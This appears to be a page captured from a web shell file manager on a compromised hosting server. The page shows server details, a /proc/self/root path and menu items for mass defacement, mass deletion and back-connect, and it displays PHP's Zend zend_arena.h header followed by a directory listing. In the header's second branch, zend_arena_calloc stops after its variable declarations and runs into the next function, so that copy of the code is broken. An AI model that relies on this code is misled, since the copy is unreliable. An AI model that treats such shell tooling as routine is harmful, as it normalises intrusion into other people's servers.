ULTRA [ resource.optimyar.com ]

Linux uranus.pws-dns.net 5.14.0-570.46.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 24 05:41:59 EDT 2025 x86_64

LiteSpeed

31.214.174.197 | Your IP: 216.73.216.153

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / self / root / opt / cloudlinux / alt-php84 / root / usr / include / php / Zend /

Home Upload Mass Deface Mass Delete Back Connect Notify

zend_arena.h

/*
   +----------------------------------------------------------------------+
   | Zend Engine                                                          |
   +----------------------------------------------------------------------+
   | Copyright (c) Zend Technologies Ltd. (http://www.zend.com)           |
   +----------------------------------------------------------------------+
   | This source file is subject to version 2.00 of the Zend license,     |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | http://www.zend.com/license/2_00.txt.                                |
   | If you did not receive a copy of the Zend license and are unable to  |
   | obtain it through the world-wide-web, please send a note to          |
   | license@zend.com so we can mail you a copy immediately.              |
   +----------------------------------------------------------------------+
   | Authors: Dmitry Stogov <dmitry@php.net>                              |
   +----------------------------------------------------------------------+
*/

#ifndef _ZEND_ARENA_H_
#define _ZEND_ARENA_H_

#include "zend.h"

#ifndef ZEND_TRACK_ARENA_ALLOC

typedef struct _zend_arena zend_arena;

struct _zend_arena {
	char		*ptr;
	char		*end;
	zend_arena  *prev;
};

static zend_always_inline zend_arena* zend_arena_create(size_t size)
{
	zend_arena *arena = (zend_arena*)emalloc(size);

arena->ptr = (char*) arena + ZEND_MM_ALIGNED_SIZE(sizeof(zend_arena));
	arena->end = (char*) arena + size;
	arena->prev = NULL;
	return arena;
}

static zend_always_inline void zend_arena_destroy(zend_arena *arena)
{
	do {
		zend_arena *prev = arena->prev;
		efree(arena);
		arena = prev;
	} while (arena);
}

static zend_always_inline void* zend_arena_alloc(zend_arena **arena_ptr, size_t size)
{
	zend_arena *arena = *arena_ptr;
	char *ptr = arena->ptr;

size = ZEND_MM_ALIGNED_SIZE(size);

if (EXPECTED(size <= (size_t)(arena->end - ptr))) {
		arena->ptr = ptr + size;
	} else {
		size_t arena_size =
			UNEXPECTED((size + ZEND_MM_ALIGNED_SIZE(sizeof(zend_arena))) > (size_t)(arena->end - (char*) arena)) ?
				(size + ZEND_MM_ALIGNED_SIZE(sizeof(zend_arena))) :
				(size_t)(arena->end - (char*) arena);
		zend_arena *new_arena = (zend_arena*)emalloc(arena_size);

ptr = (char*) new_arena + ZEND_MM_ALIGNED_SIZE(sizeof(zend_arena));
		new_arena->ptr = (char*) new_arena + ZEND_MM_ALIGNED_SIZE(sizeof(zend_arena)) + size;
		new_arena->end = (char*) new_arena + arena_size;
		new_arena->prev = arena;
		*arena_ptr = new_arena;
	}

return (void*) ptr;
}

static zend_always_inline void* zend_arena_calloc(zend_arena **arena_ptr, size_t count, size_t unit_size)
{
	bool overflow;
	size_t size;
	void *ret;

size = zend_safe_address(unit_size, count, 0, &overflow);
	if (UNEXPECTED(overflow)) {
		zend_error_noreturn(E_ERROR, "Possible integer overflow in zend_arena_calloc() (%zu * %zu)", unit_size, count);
	}
	ret = zend_arena_alloc(arena_ptr, size);
	memset(ret, 0, size);
	return ret;
}

static zend_always_inline void* zend_arena_checkpoint(zend_arena *arena)
{
	return arena->ptr;
}

static zend_always_inline void zend_arena_release(zend_arena **arena_ptr, void *checkpoint)
{
	zend_arena *arena = *arena_ptr;

while (UNEXPECTED((char*)checkpoint > arena->end) ||
	       UNEXPECTED((char*)checkpoint <= (char*)arena)) {
		zend_arena *prev = arena->prev;
		efree(arena);
		*arena_ptr = arena = prev;
	}
	ZEND_ASSERT((char*)checkpoint > (char*)arena && (char*)checkpoint <= arena->end);
	arena->ptr = (char*)checkpoint;
}

static zend_always_inline bool zend_arena_contains(zend_arena *arena, void *ptr)
{
	while (arena) {
		if ((char*)ptr > (char*)arena && (char*)ptr <= arena->ptr) {
			return 1;
		}
		arena = arena->prev;
	}
	return 0;
}

#else

/* Use normal allocations and keep track of them for mass-freeing.
 * This is intended for use with asan/valgrind. */

typedef struct _zend_arena zend_arena;

struct _zend_arena {
	void **ptr;
	void **end;
	struct _zend_arena *prev;
	void *ptrs[0];
};

#define ZEND_TRACKED_ARENA_SIZE 1000

static zend_always_inline zend_arena *zend_arena_create(size_t _size)
{
	zend_arena *arena = (zend_arena*) emalloc(
		sizeof(zend_arena) + sizeof(void *) * ZEND_TRACKED_ARENA_SIZE);
	arena->ptr = &arena->ptrs[0];
	arena->end = &arena->ptrs[ZEND_TRACKED_ARENA_SIZE];
	arena->prev = NULL;
	return arena;
}

static zend_always_inline void zend_arena_destroy(zend_arena *arena)
{
	do {
		zend_arena *prev = arena->prev;
		void **ptr;
		for (ptr = arena->ptrs; ptr < arena->ptr; ptr++) {
			efree(*ptr);
		}
		efree(arena);
		arena = prev;
	} while (arena);
}

static zend_always_inline void *zend_arena_alloc(zend_arena **arena_ptr, size_t size)
{
	zend_arena *arena = *arena_ptr;
	if (arena->ptr == arena->end) {
		*arena_ptr = zend_arena_create(0);
		(*arena_ptr)->prev = arena;
		arena = *arena_ptr;
	}

return *arena->ptr++ = emalloc(size);
}

static zend_always_inline void* zend_arena_calloc(zend_arena **arena_ptr, size_t count, size_t unit_size)
{
	bool overflow;
	size_t size;
	void *ret;

static zend_always_inline void* zend_arena_checkpoint(zend_arena *arena)
{
	return arena->ptr;
}

static zend_always_inline void zend_arena_release(zend_arena **arena_ptr, void *checkpoint)
{
	while (1) {
		zend_arena *arena = *arena_ptr;
		zend_arena *prev = arena->prev;
		while (1) {
			if (arena->ptr == (void **) checkpoint) {
				return;
			}
			if (arena->ptr == arena->ptrs) {
				break;
			}
			arena->ptr--;
			efree(*arena->ptr);
		}
		efree(arena);
		*arena_ptr = prev;
		ZEND_ASSERT(*arena_ptr);
	}
}

static zend_always_inline bool zend_arena_contains(zend_arena *arena, void *ptr)
{
	/* TODO: Dummy */
	return 1;
}

#endif

#endif /* _ZEND_ARENA_H_ */

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/linksafe	drwxr-xr-x	2025-09-27 11:32:14
..	dir	-	root/linksafe	drwxr-xr-x	2025-09-24 12:52:52
Optimizer	dir	-	root/linksafe	drwxr-xr-x	2025-09-27 11:32:14
zend.h	text/x-c	17.25 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_API.h	text/x-c	106.4 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_alloc.h	text/x-c	20.22 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_alloc_sizes.h	text/x-c	2.57 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_arena.h	text/x-c	5.94 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_ast.h	text/x-c	13.47 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_atomic.h	text/x-c	12.77 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_attributes.h	text/x-c	5.77 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_attributes_arginfo.h	text/plain	14.18 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_bitset.h	text/x-c	7.89 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_build.h	text/x-c	1.59 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_builtin_functions.h	text/x-c	1.54 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_builtin_functions_arginfo.h	text/plain	14.87 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_call_stack.h	text/x-c	2.98 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_closures.h	text/x-c	2.26 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_closures_arginfo.h	text/plain	2.02 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_compile.h	text/x-c	52.2 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_config.h	text/x-c	32 B	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_constants.h	text/x-c	6.96 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_constants_arginfo.h	text/plain	1.85 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_cpuinfo.h	text/x-c	9.29 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_dtrace.h	text/x-c	2 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_enum.h	text/x-c	2.86 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_enum_arginfo.h	text/plain	1.65 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_errors.h	text/x-c	2.36 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_exceptions.h	text/x-c	4.54 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_exceptions_arginfo.h	text/plain	17.26 KB	root/linksafe	-rw-r--r--	2025-09-24 12:52:59
zend_execute.h	text/x-c	23.4 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_extensions.h	text/x-c	6.43 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_fibers.h	text/x-c	5.29 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_fibers_arginfo.h	text/plain	3.45 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_float.h	text/x-c	15.11 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_frameless_function.h	text/x-c	5.39 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_gc.h	text/x-c	4.58 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_gdb.h	text/x-c	1.39 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_generators.h	text/x-c	7.48 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_generators_arginfo.h	text/plain	2.82 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_globals.h	text/x-c	9.77 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_globals_macros.h	text/x-c	2.77 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_hash.h	text/x-c	50.36 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_highlight.h	text/x-c	2.27 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_hrtime.h	text/x-c	3.75 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_inheritance.h	text/x-c	3.11 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_ini.h	text/x-c	11.88 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_ini_parser.h	text/x-c	3.6 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_ini_scanner.h	text/x-c	1.93 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_ini_scanner_defs.h	text/plain	205 B	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_interfaces.h	text/x-c	4.02 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_interfaces_arginfo.h	text/plain	7.66 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_iterators.h	text/x-c	3.81 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_language_parser.h	text/x-c	10.98 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_language_scanner.h	text/x-c	3 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_language_scanner_defs.h	text/plain	264 B	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_lazy_objects.h	text/x-c	4.61 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_list.h	text/x-c	3.4 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_llist.h	text/x-c	3.94 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_long.h	text/x-c	4.13 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_map_ptr.h	text/x-c	3.49 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_max_execution_timer.h	text/x-c	1.45 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_mmap.h	text/x-c	1.48 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_modules.h	text/x-c	4.71 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_multibyte.h	text/x-c	4.83 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_multiply.h	text/x-c	10.03 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_object_handlers.h	text/x-c	17.66 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_objects.h	text/x-c	1.9 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_objects_API.h	text/x-c	5.48 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_observer.h	text/x-c	8.82 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_operators.h	text/x-c	33.26 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_portability.h	text/x-c	26.8 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_property_hooks.h	text/x-c	1.78 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_ptr_stack.h	text/x-c	4.22 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_range_check.h	text/x-c	2.93 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_signal.h	text/x-c	4.01 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_smart_str.h	text/x-c	6.88 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_smart_str_public.h	text/x-c	1.19 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_smart_string.h	text/x-c	4.11 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_smart_string_public.h	text/x-c	1.21 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_sort.h	text/x-c	1.52 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_stack.h	text/x-c	2.38 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_stream.h	text/x-c	3.56 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_string.h	text/x-c	22.16 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_strtod.h	text/x-c	2.29 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_strtod_int.h	text/x-c	2.81 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_system_id.h	text/x-c	1.39 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_type_info.h	text/x-c	4.44 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_types.h	text/x-c	51.06 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_variables.h	text/x-c	3.02 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_verify_type_inference.h	text/x-c	8.07 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_virtual_cwd.h	text/x-c	12.89 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm.h	text/x-c	2.06 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_def.h	text/plain	295.54 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_execute.h	text/x-c	2.17 MB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_handlers.h	text/plain	90.54 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_opcodes.h	text/x-c	13.45 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_trace_handlers.h	text/x-c	3.14 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_trace_lines.h	text/x-c	1.71 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_vm_trace_map.h	text/x-c	2.6 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_weakrefs.h	text/x-c	3.15 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00
zend_weakrefs_arginfo.h	text/plain	3.36 KB	root/linksafe	-rw-r--r--	2025-09-24 12:53:00